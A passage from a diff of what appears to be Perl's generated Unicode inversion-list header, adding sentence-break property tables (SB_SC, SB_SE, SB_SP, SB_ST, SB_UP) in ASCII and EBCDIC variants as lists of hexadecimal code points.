+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__SC_invlist[] = { /* for ASCII/Latin1 */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C,
+	0x2E,
+	0x3A,
+	0x3B,
+	0x55D,
+	0x55E,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x1802,
+	0x1803,
+	0x1808,
+	0x1809,
+	0x2013,
+	0x2015,
+	0x3001,
+	0x3002,
+	0xFE10,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE31,
+	0xFE33,
+	0xFE50,
+	0xFE52,
+	0xFE55,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0C,
+	0xFF0E,
+	0xFF1A,
+	0xFF1B,
+	0xFF64,
+	0xFF65
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SC_invlist[] = { /* for EBCDIC 1047 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x55D,
+	0x55E,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x1802,
+	0x1803,
+	0x1808,
+	0x1809,
+	0x2013,
+	0x2015,
+	0x3001,
+	0x3002,
+	0xFE10,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE31,
+	0xFE33,
+	0xFE50,
+	0xFE52,
+	0xFE55,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0C,
+	0xFF0E,
+	0xFF1A,
+	0xFF1B,
+	0xFF64,
+	0xFF65
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SC_invlist[] = { /* for EBCDIC 037 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x55D,
+	0x55E,
+	0x60C,
+	0x60E,
+	0x7F8,
+	0x7F9,
+	0x1802,
+	0x1803,
+	0x1808,
+	0x1809,
+	0x2013,
+	0x2015,
+	0x3001,
+	0x3002,
+	0xFE10,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE31,
+	0xFE33,
+	0xFE50,
+	0xFE52,
+	0xFE55,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0C,
+	0xFF0E,
+	0xFF1A,
+	0xFF1B,
+	0xFF64,
+	0xFF65
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__SE_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x85,
+	0x86,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SE_invlist[] = { /* for EBCDIC 1047 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x25,
+	0x26,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SE_invlist[] = { /* for EBCDIC 037 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x15,
+	0x16,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__SP_invlist[] = { /* for ASCII/Latin1 */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xA,
+	0xB,
+	0xD,
+	0x20,
+	0x21,
+	0xA0,
+	0xA1,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SP_invlist[] = { /* for EBCDIC 1047 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__SP_invlist[] = { /* for EBCDIC 037 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__ST_invlist[] = { /* for ASCII/Latin1 */
+	131,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x22,
+	0x3F,
+	0x40,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
 	0x2E2E,
 	0x2E2F,
-	0x2E30,
 	0x2E3C,
 	0x2E3D,
-	0x2E42,
-	0x2E43,
-	0x3000,
-	0x3001,
 	0x3002,
 	0x3003,
-	0x3005,
-	0x3008,
-	0x3012,
-	0x3014,
-	0x301C,
-	0x301D,
-	0x3020,
-	0x3021,
-	0x302A,
-	0x3030,
-	0x3031,
-	0x3036,
-	0x3038,
-	0x303D,
-	0x3041,
-	0x3097,
-	0x3099,
-	0x309B,
-	0x309D,
-	0x30A0,
-	0x30A1,
-	0x30FB,
-	0x30FC,
-	0x3100,
-	0x3105,
-	0x312E,
-	0x3131,
-	0x318F,
-	0x31A0,
-	0x31BB,
-	0x31F0,
-	0x3200,
-	0x3400,
-	0x4DB6,
-	0x4E00,
-	0x9FD6,
-	0xA000,
-	0xA48D,
-	0xA4D0,
-	0xA4FE,
 	0xA4FF,
 	0xA500,
-	0xA60D,
 	0xA60E,
 	0xA610,
-	0xA620,
-	0xA62A,
-	0xA62C,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__ST_invlist[] = { /* for EBCDIC 1047 */
+	131,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x3002,
+	0x3003,
+	0xA4FF,
+	0xA500,
+	0xA60E,
+	0xA610,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__ST_invlist[] = { /* for EBCDIC 037 */
+	131,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x3002,
+	0x3003,
+	0xA4FF,
+	0xA500,
+	0xA60E,
+	0xA610,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */
+	1271,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xDF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
